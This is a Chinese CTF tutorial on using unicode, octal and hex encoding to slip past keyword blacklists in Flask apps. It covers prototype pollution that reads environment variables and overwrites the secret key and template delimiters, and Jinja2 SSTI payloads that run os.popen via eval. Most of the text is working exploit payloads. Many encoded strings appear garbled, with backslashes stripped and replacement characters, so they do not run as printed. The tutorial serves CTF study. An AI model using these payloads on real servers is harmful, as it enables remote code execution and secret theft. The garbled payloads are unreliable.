前言
Flask 是一个轻量级的 Python Web 框架,设计上追求简洁和灵活性,适合构建中小型的 Web 应用程序。
其出题方便,经常能在CTF比赛中见到,常见题型有debug模式算pin码、ssti、原型链污染等,其中后两者属于通用漏洞,且在flask框架下有比较成体系的利用方式。
本文就编码bypass为线索,针对后两者聊下相关trick。
unicode编码绕过
字符转unicode编码脚本
def string_to_unicode(input_string):
# 将每个字符转换为 Unicode 转义序列
unicode_string = ''.join(f'\u{ord(char):04x}' for char in input_string)
return unicode_string
# 测试字符串
input_string = "你好,世界!"
# 转换为 Unicode 编码
unicode_encoded = string_to_unicode(input_string)
print(f"Original String: {input_string}")
print(f"Unicode Encoded: {unicode_encoded}")
先做个小lab
import json
# 包含 Unicode 编码的 JSON 字符串
json_data = '{"message": "Hello, \u4e16\u754c"}' # \u4e16\u754c 表示 "世界"
# 使用 json.loads 解析
parsed_data = json.loads(json_data)
# 输出解析结果
print(parsed_data["message"]) # 输出: Hello, 世界
为什么呢?
Python 的 json
模块根据 JSON 的规范设计,它会自动检测并解析 Unicode 转义序列(如 uXXXX
格式),将其转换为相应的 Unicode 字符。所以在调用 json.loads()
时,无需额外处理,它会自动将 JSON 中的 Unicode 字符解析为 Python 的 Unicode 字符串。
而json.loads频繁出现在前后端交互中,如果后端的waf在json.loads之前就对流量监测,则存在unicode编码bypass的空间。
下面以两个题目为例
DASCTF2023七月暑期挑战赛EzFlask
题目链接:https://buuoj.cn/match/matches/188
源码
import uuid from flask import Flask, request, session from secret import black_list import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
./register可以打python原型链污染
https://tttang.com/archive/1876/
理想状态下用这个payload可以污染file,然后访问./即可读到环境变量里的flag
{"__init__" : { "__globals__" : { "__file__" : "/proc/1/environ" } } } }
而init被blacklist过滤了,幸运的是check是在json.loads之前执行的,可以用unicode编码绕过
{ "u005fu005fu0069u006eu0069u0074u005fu005f" : { "__globals__" : { "__file__" : "/proc/1/environ" } } } }
XGCTF2024_easy_polluted
题目链接:https://ctf.show/challenges#easy_polluted-4403
源码
from flask import Flask, session, redirect, url_for,request,render_template import os import hashlib import json import re def generate_random_md5(): random_string = os.urandom(16) md5_hash = hashlib.md5(random_string)
return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app = Flask(__name__)
c = generate_random_md5()
class evil():
def __init__(self):
pass
@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
print(session["username"])
print(session["password"])
Evil = evil()
if request.data:
print(request.data)
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")
@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
print(username)
print(password)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
flag.html
/可以原型链污染,改掉app.secretkey之后访问/admin拿到flag
并且flag.html不是正常的渲染格式{},所以也要污染掉模板字符串
同样用unicode编码绕过黑名单
先污染jinja2模板字符串
{ "__init__" : { "__globals__" : { "app" : { "jinja_env" :{ "variable_start_string" : "[#","variable_end_string":"#]" } } } }
{
"u005fu005fu0069u006eu0069u0074u005fu005f" : {
"u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f" : {
"u0061u0070u0070" : {
"u006au0069u006eu006au0061u005fu0065u006eu0076" :{"u0076u0061u0072u0069u0061u0062u006cu0065u005fu0073u0074u0061u0072u0074u005fu0073u0074u0072u0069u006eu0067":"[#","u0076u0061u0072u0069u0061u0062u006cu0065u005fu0065u006eu0064u005fu0073u0074u0072u0069u006eu0067":"#]"
}
}
}
}
}
再污染secretkey
{ "__init__" : { "__globals__" : { "app" : { "secret_key" :"Z3r4y"} } } }
{
"u005fu005fu0069u006eu0069u0074u005fu005f" : {
"u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f" : {
"u0061u0070u0070" : {
"u0073u0065u0063u0072u0065u0074u005fu006bu0065u0079" :"Z3r4y"
}
}
}
}
最后登录将username和password写进session
username=adminer&password=Z3r4y
带着响应头里的session访问/admin拿到flag
进制编码绕过
Flask 的 render_template_string
函数内部使用了 Jinja2 模板引擎,而 Jinja2 模板引擎可以解析和处理 Python 字符串中的八进制、十六进制、Unicode 转义等格式。
字符转八进制的脚本
def string_to_octal_escape(input_string):
octal_escape = ''.join(f'\{ord(char):03o}' for char in input_string)
return octal_escape
# 示例
input_string = "__import__('os').popen('ls /').read()"
octal_escape_string = string_to_octal_escape(input_string)
print(f"字符串 '{input_string}' 的八进制转义表示为: {octal_escape_string}")
字符转十六进制的脚本
def string_to_hex_with_prefix(input_string):
# 将每个字符转换为 x 前缀的十六进制表示
hex_string = ''.join(f'\x{ord(char):02x}' for char in input_string)
return hex_string
# 测试字符串
input_string = "__class__"
# 转换为带 x 前缀的十六进制编码
hex_encoded = string_to_hex_with_prefix(input_string)
print(f"Original String: {input_string}")
print(f"Hex Encoded: {hex_encoded}")
先给个lab,无限制ssti
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
# 直接将用户输入作为模板渲染
name = request.args.get('name', '')
# 这里直接将 name 渲染为模板字符串,导致可能的 SSTI 漏洞
return render_template_string(f'Hello, {name}!')
if __name__ == '__main__':
app.run(debug=True, host="0.0.0.0", port=1337)
一个常见的payload:
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}
可以用下面这种八进制编码做到减少被waf关键词,甚至无字母的攻击
{{''.__class__.foo}} → {{''['137'+'137'+'143'+'154'+'141'+'163'+'163'+'137'+'137']foo}}
于是上述payload就可以转换成
{{config['137137151156151164137137']['137137147154157142141154163137137']['137137142165151154164151156163137137']['145166141154']("137137151155160157162164137137�50�47157163�47�51�56160157160145156�50�47154163�40�57�47�51�56162145141144�50�51")}}
但这样还是没有到无字母的程度,我们可以换一条链
先找<class 'os._wrap_close'>
{{''.__class__.__mro__[1].__subclasses__()}}
{{''["137137143154141163163137137"]["137137155162157137137"][1]["137137163165142143154141163163145163137137"]()}}
位置为137
{{''.__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}
{{''["137137143154141163163137137"]["137137155162157137137"][1]["137137163165142143154141163163145163137137"]()[137]["137137151156151164137137"]["137137147154157142141154163137137"]['137137142165151154164151156163137137']['145166141154']("137137151155160157162164137137�50�47157163�47�51�56160157160145156�50�47154163�40�57�47�51�56162145141144�50�51")}}
当然也可以unicode绕过
{{''["u005fu005fu0063u006cu0061u0073u0073u005fu005f"]["u005fu005fu006du0072u006fu005fu005f"][1]["u005fu005fu0073u0075u0062u0063u006cu0061u0073u0073u0065u0073u005fu005f"]()[137]["u005fu005fu0069u006eu0069u0074u005fu005f"]["u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f"]['u005fu005fu0062u0075u0069u006cu0074u0069u006eu0073u005fu005f']['u0065u0076u0061u006c']("u005fu005fu0069u006du0070u006fu0072u0074u005fu005fu0028u0027u006fu0073u0027u0029u002eu0070u006fu0070u0065u006eu0028u0027u006cu0073u0020u002fu0027u0029u002eu0072u0065u0061u0064u0028u0029")}}
或者十六进制编码绕过
{{''["x5fx5fx63x6cx61x73x73x5fx5f"]["x5fx5fx6dx72x6fx5fx5f"][1]["x5fx5fx73x75x62x63x6cx61x73x73x65x73x5fx5f"]()[137]["x5fx5fx69x6ex69x74x5fx5f"]["x5fx5fx67x6cx6fx62x61x6cx73x5fx5f"]['x5fx5fx62x75x69x6cx74x69x6ex73x5fx5f']['x65x76x61x6c']("x5fx5fx69x6dx70x6fx72x74x5fx5fx28x27x6fx73x27x29x2ex70x6fx70x65x6ex28x27x6cx73x20x2fx27x29x2ex72x65x61x64x28x29")}}
具体例题有很多,如2024长城杯的CandyShop,感兴趣的师傅可以复现一下。
来源:【基于flask常见trick——unicode&进制编码绕过 - 先知社区 (aliyun.com)】
感谢:【Z3r4y 】
原文始发于微信公众号(船山信安):基于flask常见trick——unicode&进制编码绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论